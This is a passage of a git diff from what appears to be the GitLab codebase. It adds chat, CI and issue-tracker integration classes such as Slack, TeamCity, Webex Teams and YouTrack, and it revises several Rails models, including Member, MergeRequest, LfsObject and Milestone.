+ ['Pushover (default)', 'pushover'],
+ %w(Bike bike),
+ %w(Bugle bugle),
+ ['Cash Register', 'cashregister'],
+ %w(Classical classical),
+ %w(Cosmic cosmic),
+ %w(Falling falling),
+ %w(Gamelan gamelan),
+ %w(Incoming incoming),
+ %w(Intermission intermission),
+ %w(Magic magic),
+ %w(Mechanical mechanical),
+ ['Piano Bar', 'pianobar'],
+ %w(Siren siren),
+ ['Space Alarm', 'spacealarm'],
+ ['Tug Boat', 'tugboat'],
+ ['Alien Alarm (long)', 'alien'],
+ ['Climb (long)', 'climb'],
+ ['Persistent (long)', 'persistent'],
+ ['Pushover Echo (long)', 'echo'],
+ ['Up Down (long)', 'updown'],
+ ['None (silent)', 'none']
+ ] }
+ ]
+ end
+
+ def self.supported_events
+ %w(push)
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ ref = Gitlab::Git.ref_name(data[:ref])
+ before = data[:before]
+ after = data[:after]
+
+ message =
+ if Gitlab::Git.blank_ref?(before)
+ s_("PushoverService|%{user_name} pushed new branch \"%{ref}\".") % { user_name: data[:user_name], ref: ref }
+ elsif Gitlab::Git.blank_ref?(after)
+ s_("PushoverService|%{user_name} deleted branch \"%{ref}\".") % { user_name: data[:user_name], ref: ref }
+ else
+ s_("PushoverService|%{user_name} push to branch \"%{ref}\".") % { user_name: data[:user_name], ref: ref }
+ end
+
+ if data[:total_commits_count] > 0
+ message = [message, s_("PushoverService|Total commits count: %{total_commits_count}") % { total_commits_count: data[:total_commits_count] }].join("\n")
+ end
+
+ pushover_data = {
+ token: api_key,
+ user: user_key,
+ device: device,
+ priority: priority,
+ title: "#{project.full_name}",
+ message: message,
+ url: data[:project][:web_url],
+ url_title: s_("PushoverService|See project %{project_full_name}") % { project_full_name: project.full_name }
+ }
+
+ # Sound parameter MUST NOT be sent to API if not selected
+ if sound
+ pushover_data[:sound] = sound
+ end
+
+ Gitlab::HTTP.post('/messages.json', base_uri: BASE_URI, body: pushover_data)
+ end
+ end
+end
diff --git a/app/models/integrations/redmine.rb b/app/models/integrations/redmine.rb
new file mode 100644
index 00000000000..990b538f294
--- /dev/null
+++ b/app/models/integrations/redmine.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Redmine < BaseIssueTracker
+ include ActionView::Helpers::UrlHelper
+ validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
+
+ def title
+ 'Redmine'
+ end
+
+ def description
+ s_("IssueTracker|Use Redmine as this project's issue tracker.")
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/redmine'), target: '_blank', rel: 'noopener noreferrer'
+ s_('IssueTracker|Use Redmine as the issue tracker. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'redmine'
+ end
+ end
+end
diff --git a/app/models/integrations/slack.rb b/app/models/integrations/slack.rb
new file mode 100644
index 00000000000..0381db3a67e
--- /dev/null
+++ b/app/models/integrations/slack.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Slack < BaseChatNotification
+ include SlackMattermostNotifier
+ extend ::Gitlab::Utils::Override
+
+ SUPPORTED_EVENTS_FOR_USAGE_LOG = %w[
+ push issue confidential_issue merge_request note confidential_note
+ tag_push wiki_page deployment
+ ].freeze
+
+ prop_accessor EVENT_CHANNEL['alert']
+
+ def title
+ 'Slack notifications'
+ end
+
+ def description
+ 'Send notifications about project events to Slack.'
+ end
+
+ def self.to_param
+ 'slack'
+ end
+
+ def default_channel_placeholder
+ _('#general, #development')
+ end
+
+ def webhook_placeholder
+ 'https://hooks.slack.com/services/…'
+ end
+
+ def supported_events
+ additional = []
+ additional << 'alert'
+
+ super + additional
+ end
+
+ def get_message(object_kind, data)
+ return Integrations::ChatMessage::AlertMessage.new(data) if object_kind == 'alert'
+
+ super
+ end
+
+ override :log_usage
+ def log_usage(event, user_id)
+ return unless user_id
+
+ return unless SUPPORTED_EVENTS_FOR_USAGE_LOG.include?(event)
+
+ key = "i_ecosystem_slack_service_#{event}_notification"
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user_id)
+ end
+ end
+end
diff --git a/app/models/integrations/slack_slash_commands.rb b/app/models/integrations/slack_slash_commands.rb
new file mode 100644
index 00000000000..ff1f806df45
--- /dev/null
+++ b/app/models/integrations/slack_slash_commands.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Integrations
+ class SlackSlashCommands < BaseSlashCommands
+ include Ci::TriggersHelper
+
+ def title
+ 'Slack slash commands'
+ end
+
+ def description
+ "Perform common operations in Slack"
+ end
+
+ def self.to_param
+ 'slack_slash_commands'
+ end
+
+ def trigger(params)
+ # Format messages to be Slack-compatible
+ super.tap do |result|
+ result[:text] = format(result[:text]) if result.is_a?(Hash)
+ end
+ end
+
+ def chat_responder
+ ::Gitlab::Chat::Responder::Slack
+ end
+
+ private
+
+ def format(text)
+ ::Slack::Messenger::Util::LinkFormatter.format(text) if text
+ end
+ end
+end
diff --git a/app/models/integrations/teamcity.rb b/app/models/integrations/teamcity.rb
new file mode 100644
index 00000000000..8284d5963ae
--- /dev/null
+++ b/app/models/integrations/teamcity.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Teamcity < BaseCi
+ include ReactiveService
+ include ServicePushDataValidations
+
+ prop_accessor :teamcity_url, :build_type, :username, :password
+
+ validates :teamcity_url, presence: true, public_url: true, if: :activated?
+ validates :build_type, presence: true, if: :activated?
+ validates :username,
+ presence: true,
+ if: ->(service) { service.activated? && service.password }
+ validates :password,
+ presence: true,
+ if: ->(service) { service.activated? && service.username }
+
+ attr_accessor :response
+
+ after_save :compose_service_hook, if: :activated?
+ before_update :reset_password
+
+ class << self
+ def to_param
+ 'teamcity'
+ end
+
+ def supported_events
+ %w(push merge_request)
+ end
+
+ def event_description(event)
+ case event
+ when 'push', 'push_events'
+ 'TeamCity CI will be triggered after every push to the repository except branch delete'
+ when 'merge_request', 'merge_request_events'
+ 'TeamCity CI will be triggered after a merge request has been created or updated'
+ end
+ end
+ end
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ hook.save
+ end
+
+ def reset_password
+ if teamcity_url_changed? && !password_touched?
+ self.password = nil
+ end
+ end
+
+ def title
+ 'JetBrains TeamCity'
+ end
+
+ def description
+ s_('ProjectService|Run CI/CD pipelines with JetBrains TeamCity.')
+ end
+
+ def help
+ s_('To run CI/CD pipelines with JetBrains TeamCity, input the GitLab project details in the TeamCity project Version Control Settings.')
+ end
+
+ def fields
+ [
+ {
+ type: 'text',
+ name: 'teamcity_url',
+ title: s_('ProjectService|TeamCity server URL'),
+ placeholder: 'https://teamcity.example.com',
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'build_type',
+ help: s_('ProjectService|The build configuration ID of the TeamCity project.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'username',
+ help: s_('ProjectService|Must have permission to trigger a manual build in TeamCity.')
+ },
+ {
+ type: 'password',
+ name: 'password',
+ non_empty_password_title: s_('ProjectService|Enter new password'),
+ non_empty_password_help: s_('ProjectService|Leave blank to use your current password')
+ }
+ ]
+ end
+
+ def build_page(sha, ref)
+ with_reactive_cache(sha, ref) {|cached| cached[:build_page] }
+ end
+
+ def commit_status(sha, ref)
+ with_reactive_cache(sha, ref) {|cached| cached[:commit_status] }
+ end
+
+ def calculate_reactive_cache(sha, ref)
+ response = get_path("httpAuth/app/rest/builds/branch:unspecified:any,revision:#{sha}")
+
+ if response
+ { build_page: read_build_page(response), commit_status: read_commit_status(response) }
+ else
+ { build_page: teamcity_url, commit_status: :error }
+ end
+ end
+
+ def execute(data)
+ case data[:object_kind]
+ when 'push'
+ execute_push(data)
+ when 'merge_request'
+ execute_merge_request(data)
+ end
+ end
+
+ private
+
+ def execute_push(data)
+ branch = Gitlab::Git.ref_name(data[:ref])
+ post_to_build_queue(data, branch) if push_valid?(data)
+ end
+
+ def execute_merge_request(data)
+ branch = data[:object_attributes][:source_branch]
+ post_to_build_queue(data, branch) if merge_request_valid?(data)
+ end
+
+ def read_build_page(response)
+ if response.code != 200
+ # If actual build link can't be determined,
+ # send user to build summary page.
+ build_url("viewLog.html?buildTypeId=#{build_type}")
+ else
+ # If actual build link is available, go to build result page.
+ built_id = response['build']['id']
+ build_url("viewLog.html?buildId=#{built_id}&buildTypeId=#{build_type}")
+ end
+ end
+
+ def read_commit_status(response)
+ return :error unless response.code == 200 || response.code == 404
+
+ status = if response.code == 404
+ 'Pending'
+ else
+ response['build']['status']
+ end
+
+ return :error unless status.present?
+
+ if status.include?('SUCCESS')
+ 'success'
+ elsif status.include?('FAILURE')
+ 'failed'
+ elsif status.include?('Pending')
+ 'pending'
+ else
+ :error
+ end
+ end
+
+ def build_url(path)
+ Gitlab::Utils.append_path(teamcity_url, path)
+ end
+
+ def get_path(path)
+ Gitlab::HTTP.try_get(build_url(path), verify: false, basic_auth: basic_auth, extra_log_info: { project_id: project_id })
+ end
+
+ def post_to_build_queue(data, branch)
+ Gitlab::HTTP.post(
+ build_url('httpAuth/app/rest/buildQueue'),
+ body: "<build branchName=#{branch.encode(xml: :attr)}>"\
+ "<buildType id=#{build_type.encode(xml: :attr)}/>"\
+ '</build>',
+ headers: { 'Content-type' => 'application/xml' },
+ basic_auth: basic_auth
+ )
+ end
+
+ def basic_auth
+ { username: username, password: password }
+ end
+ end
+end
diff --git a/app/models/integrations/unify_circuit.rb b/app/models/integrations/unify_circuit.rb
new file mode 100644
index 00000000000..03363c7c8b0
--- /dev/null
+++ b/app/models/integrations/unify_circuit.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module Integrations
+ class UnifyCircuit < BaseChatNotification
+ def title
+ 'Unify Circuit'
+ end
+
+ def description
+ s_('Integrations|Send notifications about project events to Unify Circuit.')
+ end
+
+ def self.to_param
+ 'unify_circuit'
+ end
+
+ def help
+ 'This service sends notifications about projects events to a Unify Circuit conversation.<br />
+ To set up this service:
+ <ol>
+ <li><a href="https://www.circuit.com/unifyportalfaqdetail?articleId=164448">Set up an incoming webhook for your conversation</a>. All notifications will come to this conversation.</li>
+ <li>Paste the <strong>Webhook URL</strong> into the field below.</li>
+ <li>Select events below to enable notifications.</li>
+ </ol>'
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "e.g. https://circuit.com/rest/v2/webhooks/incoming/…", required: true },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ response = Gitlab::HTTP.post(webhook, body: {
+ subject: message.project_name,
+ text: message.summary,
+ markdown: true
+ }.to_json)
+
+ response if response.success?
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/webex_teams.rb b/app/models/integrations/webex_teams.rb
new file mode 100644
index 00000000000..3f420331035
--- /dev/null
+++ b/app/models/integrations/webex_teams.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module Integrations
+ class WebexTeams < BaseChatNotification
+ include ActionView::Helpers::UrlHelper
+
+ def title
+ s_("WebexTeamsService|Webex Teams")
+ end
+
+ def description
+ s_("WebexTeamsService|Send notifications about project events to Webex Teams.")
+ end
+
+ def self.to_param
+ 'webex_teams'
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/webex_teams'), target: '_blank', rel: 'noopener noreferrer'
+ s_("WebexTeamsService|Send notifications about project events to a Webex Teams conversation. %{docs_link}") % { docs_link: docs_link.html_safe }
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "https://api.ciscospark.com/v1/webhooks/incoming/...", required: true },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ header = { 'Content-Type' => 'application/json' }
+ response = Gitlab::HTTP.post(webhook, headers: header, body: { markdown: message.summary }.to_json)
+
+ response if response.success?
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/youtrack.rb b/app/models/integrations/youtrack.rb
new file mode 100644
index 00000000000..10531717f11
--- /dev/null
+++ b/app/models/integrations/youtrack.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Youtrack < BaseIssueTracker
+ include ActionView::Helpers::UrlHelper
+
+ validates :project_url, :issues_url, presence: true, public_url: true, if: :activated?
+
+ # {PROJECT-KEY}-{NUMBER} Examples: YT-1, PRJ-1, gl-030
+ def self.reference_pattern(only_long: false)
+ if only_long
+ /(?<issue>\b[A-Za-z][A-Za-z0-9_]*-\d+\b)/
+ else
+ /(?<issue>\b[A-Za-z][A-Za-z0-9_]*-\d+\b)|(#{Issue.reference_prefix}#{Gitlab::Regex.issue})/
+ end
+ end
+
+ def title
+ 'YouTrack'
+ end
+
+ def description
+ s_("IssueTracker|Use YouTrack as this project's issue tracker.")
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/youtrack'), target: '_blank', rel: 'noopener noreferrer'
+ s_("IssueTracker|Use YouTrack as this project's issue tracker. %{docs_link}").html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'youtrack'
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'project_url', title: _('Project URL'), help: s_('IssueTracker|The URL to the project in YouTrack.'), required: true },
+ { type: 'text', name: 'issues_url', title: s_('ProjectService|Issue URL'), help: s_('IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}.') % { colon_id: '<code>:id</code>'.html_safe }, required: true }
+ ]
+ end
+ end
+end
diff --git a/app/models/issue.rb b/app/models/issue.rb
index 2077f9bfdbb..b0a126c4442 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -464,6 +464,10 @@ class Issue < ApplicationRecord
issue_type_supports?(:assignee)
end
+ def supports_time_tracking?
+ issue_type_supports?(:time_tracking)
+ end
+
def email_participants_emails
issue_email_participants.pluck(:email)
end
@@ -524,7 +528,7 @@ class Issue < ApplicationRecord
def could_not_move(exception)
# Symptom of running out of space - schedule rebalancing
- IssueRebalancingWorker.perform_async(nil, project_id)
+ IssueRebalancingWorker.perform_async(nil, *project.self_or_root_group_ids)
end
end
diff --git a/app/models/key.rb b/app/models/key.rb
index 15b3c460b52..64385953865 100644
--- a/app/models/key.rb
+++ b/app/models/key.rb
@@ -7,6 +7,7 @@ class Key < ApplicationRecord
include Sortable
include Sha256Attribute
include Expirable
+ include FromUnion
sha256_attribute :fingerprint_sha256
@@ -43,7 +44,9 @@ class Key < ApplicationRecord
scope :preload_users, -> { preload(:user) }
scope :for_user, -> (user) { where(user: user) }
scope :order_last_used_at_desc, -> { reorder(::Gitlab::Database.nulls_last_order('last_used_at', 'DESC')) }
- scope :expired_today_and_not_notified, -> { where(["date(expires_at AT TIME ZONE 'UTC') = CURRENT_DATE AND expiry_notification_delivered_at IS NULL"]) }
+
+ # Date is set specifically in this scope to improve query time.
+ scope :expired_and_not_notified, -> { where(["date(expires_at AT TIME ZONE 'UTC') BETWEEN '2000-01-01' AND CURRENT_DATE AND expiry_notification_delivered_at IS NULL"]) }
scope :expiring_soon_and_not_notified, -> { where(["date(expires_at AT TIME ZONE 'UTC') > CURRENT_DATE AND date(expires_at AT TIME ZONE 'UTC') < ? AND before_expiry_notification_delivered_at IS NULL", DAYS_TO_EXPIRE.days.from_now.to_date]) }
def self.regular_keys
diff --git a/app/models/label.rb b/app/models/label.rb
index a46d6bc5c0f..1a07620f944 100644
--- a/app/models/label.rb
+++ b/app/models/label.rb
@@ -9,6 +9,10 @@ class Label < ApplicationRecord
include Sortable
include FromUnion
include Presentable
+ include IgnorableColumns
+
+ # TODO: Project#create_labels can remove column exception when this column is dropped from all envs
+ ignore_column :remove_on_close, remove_with: '14.1', remove_after: '2021-06-22'
cache_markdown_field :description, pipeline: :single_line
diff --git a/app/models/label_link.rb b/app/models/label_link.rb
index a466fe69300..4fb5fd8c58a 100644
--- a/app/models/label_link.rb
+++ b/app/models/label_link.rb
@@ -11,5 +11,4 @@ class LabelLink < ApplicationRecord
validates :label, presence: true, unless: :importing?
scope :for_target, -> (target_id, target_type) { where(target_id: target_id, target_type: target_type) }
- scope :with_remove_on_close_labels, -> { joins(:label).where(labels: { remove_on_close: true }) }
end
diff --git a/app/models/lfs_object.rb b/app/models/lfs_object.rb
index b837b902e2d..53e7d52c558 100644
--- a/app/models/lfs_object.rb
+++ b/app/models/lfs_object.rb
@@ -7,7 +7,7 @@ class LfsObject < ApplicationRecord
include ObjectStorage::BackgroundMove
include FileStoreMounter
- has_many :lfs_objects_projects, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :lfs_objects_projects
has_many :projects, -> { distinct }, through: :lfs_objects_projects
scope :with_files_stored_locally, -> { where(file_store: LfsObjectUploader::Store::LOCAL) }
@@ -18,6 +18,8 @@ class LfsObject < ApplicationRecord
mount_file_store_uploader LfsObjectUploader
+ BATCH_SIZE = 3000
+
def self.not_linked_to_project(project)
where('NOT EXISTS (?)',
project.lfs_objects_projects.select(1).where('lfs_objects_projects.lfs_object_id = lfs_objects.id'))
@@ -37,13 +39,14 @@ class LfsObject < ApplicationRecord
file_store == LfsObjectUploader::Store::LOCAL
end
- # rubocop: disable Cop/DestroyAll
- def self.destroy_unreferenced
- joins("LEFT JOIN lfs_objects_projects ON lfs_objects_projects.lfs_object_id = #{table_name}.id")
- .where(lfs_objects_projects: { id: nil })
- .destroy_all
+ def self.unreferenced_in_batches
+ each_batch(of: BATCH_SIZE, order: :desc) do |lfs_objects|
+ relation = lfs_objects.where('NOT EXISTS (?)',
+ LfsObjectsProject.select(1).where('lfs_objects_projects.lfs_object_id = lfs_objects.id'))
+
+ yield relation if relation.any?
+ end
end
- # rubocop: enable Cop/DestroyAll
def self.calculate_oid(path)
self.hexdigest(path)
diff --git a/app/models/member.rb b/app/models/member.rb
index 044b662e10f..0636c3c2d4e 100644
--- a/app/models/member.rb
+++ b/app/models/member.rb
@@ -14,6 +14,7 @@ class Member < ApplicationRecord
include UpdateHighestRole
AVATAR_SIZE = 40
+ ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT = 10
attr_accessor :raw_invite_token
@@ -107,10 +108,14 @@ class Member < ApplicationRecord
scope :active_without_invites_and_requests, -> do
left_join_users
.where(users: { state: 'active' })
- .non_request
+ .without_invites_and_requests
+ .reorder(nil)
+ end
+
+ scope :without_invites_and_requests, -> do
+ non_request
.non_invite
.non_minimal_access
- .reorder(nil)
end
scope :invite, -> { where.not(invite_token: nil) }
@@ -166,10 +171,10 @@ class Member < ApplicationRecord
after_create :send_invite, if: :invite?, unless: :importing?
after_create :send_request, if: :request?, unless: :importing?
after_create :create_notification_setting, unless: [:pending?, :importing?]
- after_create :post_create_hook, unless: [:pending?, :importing?]
- after_update :post_update_hook, unless: [:pending?, :importing?]
+ after_create :post_create_hook, unless: [:pending?, :importing?], if: :hook_prerequisites_met?
+ after_update :post_update_hook, unless: [:pending?, :importing?], if: :hook_prerequisites_met?
after_destroy :destroy_notification_setting
- after_destroy :post_destroy_hook, unless: :pending?
+ after_destroy :post_destroy_hook, unless: :pending?, if: :hook_prerequisites_met?
after_commit :refresh_member_authorized_projects
default_value_for :notification_level, NotificationSetting.levels[:global]
@@ -336,7 +341,7 @@ class Member < ApplicationRecord
return User.find_by(id: user) if user.is_a?(Integer)
- User.find_by(email: user) || user
+ User.find_by_any_email(user) || user
end
def retrieve_member(source, user, existing_members)
@@ -383,6 +388,12 @@ class Member < ApplicationRecord
invite? || request?
end
+ def hook_prerequisites_met?
+ # It is essential that an associated user record exists
+ # so that we can successfully fire any member related hooks/notifications.
+ user.present?
+ end
+
def accept_request
return false unless request?
diff --git a/app/models/members/group_member.rb b/app/models/members/group_member.rb
index b22a4fa9ef6..c7bc31cde5d 100644
--- a/app/models/members/group_member.rb
+++ b/app/models/members/group_member.rb
@@ -8,7 +8,7 @@ class GroupMember < Member
belongs_to :group, foreign_key: 'source_id'
alias_attribute :namespace_id, :source_id
- delegate :update_two_factor_requirement, to: :user
+ delegate :update_two_factor_requirement, to: :user, allow_nil: true
# Make sure group member points only to group as it source
default_value_for :source_type, SOURCE_TYPE
@@ -36,6 +36,10 @@ class GroupMember < Member
Gitlab::Access.sym_options_with_owner
end
+ def self.pluck_user_ids
+ pluck(:user_id)
+ end
+
def group
source
end
diff --git a/app/models/members/last_group_owner_assigner.rb b/app/models/members/last_group_owner_assigner.rb
index 64decb1df36..dcf0a2d0ad3 100644
--- a/app/models/members/last_group_owner_assigner.rb
+++ b/app/models/members/last_group_owner_assigner.rb
@@ -1,46 +1,44 @@
# frozen_string_literal: true
-module Members
- class LastGroupOwnerAssigner
- def initialize(group, members)
- @group = group
- @members = members
- end
+class LastGroupOwnerAssigner
+ def initialize(group, members)
+ @group = group
+ @members = members
+ end
- def execute
- @last_blocked_owner = no_owners_in_heirarchy? && group.single_blocked_owner?
- @group_single_owner = owners.size == 1
+ def execute
+ @last_blocked_owner = no_owners_in_heirarchy? && group.single_blocked_owner?
+ @group_single_owner = owners.size == 1
- members.each { |member| set_last_owner(member) }
- end
+ members.each { |member| set_last_owner(member) }
+ end
- private
+ private
- attr_reader :group, :members, :last_blocked_owner, :group_single_owner
+ attr_reader :group, :members, :last_blocked_owner, :group_single_owner
- def no_owners_in_heirarchy?
- owners.empty?
- end
+ def no_owners_in_heirarchy?
+ owners.empty?
+ end
- def set_last_owner(member)
- member.last_owner = member.id.in?(owner_ids) && group_single_owner
- member.last_blocked_owner = member.id.in?(blocked_owner_ids) && last_blocked_owner
- end
+ def set_last_owner(member)
+ member.last_owner = member.id.in?(owner_ids) && group_single_owner
+ member.last_blocked_owner = member.id.in?(blocked_owner_ids) && last_blocked_owner
+ end
- def owner_ids
- @owner_ids ||= owners.where(id: member_ids).ids
- end
+ def owner_ids
+ @owner_ids ||= owners.where(id: member_ids).ids
+ end
- def blocked_owner_ids
- @blocked_owner_ids ||= group.blocked_owners.where(id: member_ids).ids
- end
+ def blocked_owner_ids
+ @blocked_owner_ids ||= group.blocked_owners.where(id: member_ids).ids
+ end
- def member_ids
- @members_ids ||= members.pluck(:id)
- end
+ def member_ids
+ @members_ids ||= members.pluck(:id)
+ end
- def owners
- @owners ||= group.members_with_parents.owners.load
- end
+ def owners
+ @owners ||= group.members_with_parents.owners.load
end
end
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index aaef56418d2..15f112690d5 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -37,7 +37,7 @@ class MergeRequest < ApplicationRecord
SORTING_PREFERENCE_FIELD = :merge_requests_sort
ALLOWED_TO_USE_MERGE_BASE_PIPELINE_FOR_COMPARISON = {
- 'Ci::CompareMetricsReportsService' => ->(project) { ::Gitlab::Ci::Features.merge_base_pipeline_for_metrics_comparison?(project) },
+ 'Ci::CompareMetricsReportsService' => ->(project) { true },
'Ci::CompareCodequalityReportsService' => ->(project) { true }
}.freeze
@@ -125,6 +125,8 @@ class MergeRequest < ApplicationRecord
].freeze
serialize :merge_params, Hash # rubocop:disable Cop/ActiveRecordSerialize
+ before_validation :set_draft_status
+
after_create :ensure_merge_request_diff
after_update :clear_memoized_shas
after_update :reload_diff_if_branch_changed
@@ -267,6 +269,7 @@ class MergeRequest < ApplicationRecord
scope :merged, -> { with_state(:merged) }
scope :closed_and_merged, -> { with_states(:closed, :merged) }
scope :open_and_closed, -> { with_states(:opened, :closed) }
+ scope :drafts, -> { where(draft: true) }
scope :from_source_branches, ->(branches) { where(source_branch: branches) }
scope :by_commit_sha, ->(sha) do
where('EXISTS (?)', MergeRequestDiff.select(1).where('merge_requests.latest_merge_request_diff_id = merge_request_diffs.id').by_commit_sha(sha)).reorder(nil)
@@ -1908,6 +1911,10 @@ class MergeRequest < ApplicationRecord
private
+ def set_draft_status
+ self.draft = draft?
+ end
+
def missing_report_error(report_type)
{ status: :error, status_reason: "This merge request does not have #{report_type} reports" }
end
diff --git a/app/models/merge_request_context_commit.rb b/app/models/merge_request_context_commit.rb
index e081a96dc10..0f2a7515462 100644
--- a/app/models/merge_request_context_commit.rb
+++ b/app/models/merge_request_context_commit.rb
@@ -12,7 +12,7 @@ class MergeRequestContextCommit < ApplicationRecord
validates :sha, presence: true
validates :sha, uniqueness: { message: 'has already been added' }
- serialize :trailers, Serializers::JSON # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :trailers, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
validates :trailers, json_schema: { filename: 'git_trailers' }
# Sort by committed date in descending order to ensure latest commits comes on the top
diff --git a/app/models/merge_request_diff.rb b/app/models/merge_request_diff.rb
index 2dc6796732f..f58d7788432 100644
--- a/app/models/merge_request_diff.rb
+++ b/app/models/merge_request_diff.rb
@@ -389,11 +389,23 @@ class MergeRequestDiff < ApplicationRecord
def diffs_in_batch(batch_page, batch_size, diff_options:)
fetching_repository_diffs(diff_options) do |comparison|
+ reorder_diff_files!
+ diffs_batch = diffs_in_batch_collection(batch_page, batch_size, diff_options: diff_options)
+
if comparison
- comparison.diffs_in_batch(batch_page, batch_size, diff_options: diff_options)
+ if diff_options[:paths].blank? && !without_files?
+ # Return the empty MergeRequestDiffBatch for an out of bound batch request
+ break diffs_batch if diffs_batch.diff_file_paths.blank?
+
+ diff_options.merge!(
+ paths: diffs_batch.diff_file_paths,
+ pagination_data: diffs_batch.pagination_data
+ )
+ end
+
+ comparison.diffs(diff_options)
else
- reorder_diff_files!
- diffs_in_batch_collection(batch_page, batch_size, diff_options: diff_options)
+ diffs_batch
end
end
end
diff --git a/app/models/merge_request_diff_commit.rb b/app/models/merge_request_diff_commit.rb
index 259690ef308..ed398e0d2e0 100644
--- a/app/models/merge_request_diff_commit.rb
+++ b/app/models/merge_request_diff_commit.rb
@@ -12,7 +12,7 @@ class MergeRequestDiffCommit < ApplicationRecord
sha_attribute :sha
alias_attribute :id, :sha
- serialize :trailers, Serializers::JSON # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :trailers, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
validates :trailers, json_schema: { filename: 'git_trailers' }
# Deprecated; use `bulk_insert!` from `BulkInsertSafe` mixin instead.
diff --git a/app/models/milestone.rb b/app/models/milestone.rb
index 16090f0ebfa..9ed6c106e45 100644
--- a/app/models/milestone.rb
+++ b/app/models/milestone.rb
@@ -36,6 +36,7 @@ class Milestone < ApplicationRecord
scope :order_by_dates_and_title, -> { order(due_date: :asc, start_date: :asc, title: :asc) }
validates_associated :milestone_releases, message: -> (_, obj) { obj[:value].map(&:errors).map(&:full_messages).join(",") }
+ validate :uniqueness_of_title, if: :title_changed?
state_machine :state, initial: :active do
event :close do
@@ -172,4 +173,16 @@ class Milestone < ApplicationRecord
def issues_finder_params
{ project_id: project_id, group_id: group_id, include_subgroups: group_id.present? }.compact
end
+
+ # milestone titles must be unique across project and group milestones
+ def uniqueness_of_title
+ if project
+ relation = self.class.for_projects_and_groups([project_id], [project.group&.id])
+ elsif group
+ relation = self.class.for_projects_and_groups(group.projects.select(:id), [group.id])
+ end
+
+ title_exists = relation.find_by_title(title)
+ errors.add(:title, _("already being used for another group or project %{timebox_name}.") % { timebox_name: timebox_name }) if title_exists
+ end
end
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index 8f03c6145cb..90e06e44165 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -271,14 +271,9 @@ class Namespace < ApplicationRecord
# Includes projects from this namespace and projects from all subgroups
# that belongs to this namespace
def all_projects
- namespace = user? ? self : self_and_descendants
- Project.where(namespace: namespace)
- end
+ namespace = user? ? self : self_and_descendant_ids
- # Includes pipelines from this namespace and pipelines from all subgroups
- # that belongs to this namespace
- def all_pipelines
- Ci::Pipeline.where(project: all_projects)
+ Project.where(namespace: namespace)
end
def has_parent?
@@ -442,12 +437,6 @@ class Namespace < ApplicationRecord
end
def all_projects_with_pages
- if all_projects.pages_metadata_not_migrated.exists?
- Gitlab::BackgroundMigration::MigratePagesMetadata.new.perform_on_relation(
- all_projects.pages_metadata_not_migrated
- )
- end
-
all_projects.with_pages_deployed
end
diff --git a/app/models/namespace_setting.rb b/app/models/namespace_setting.rb
index 75b8169b58e..600abc33471 100644
--- a/app/models/namespace_setting.rb
+++ b/app/models/namespace_setting.rb
@@ -14,7 +14,8 @@ class NamespaceSetting < ApplicationRecord
before_validation :normalize_default_branch_name
NAMESPACE_SETTINGS_PARAMS = [:default_branch_name, :delayed_project_removal,
- :lock_delayed_project_removal, :resource_access_token_creation_allowed].freeze
+ :lock_delayed_project_removal, :resource_access_token_creation_allowed,
+ :prevent_sharing_groups_outside_hierarchy].freeze
self.primary_key = :namespace_id
diff --git a/app/models/namespaces/traversal/linear.rb b/app/models/namespaces/traversal/linear.rb
index a1711bc5ee0..d0281f4d974 100644
--- a/app/models/namespaces/traversal/linear.rb
+++ b/app/models/namespaces/traversal/linear.rb
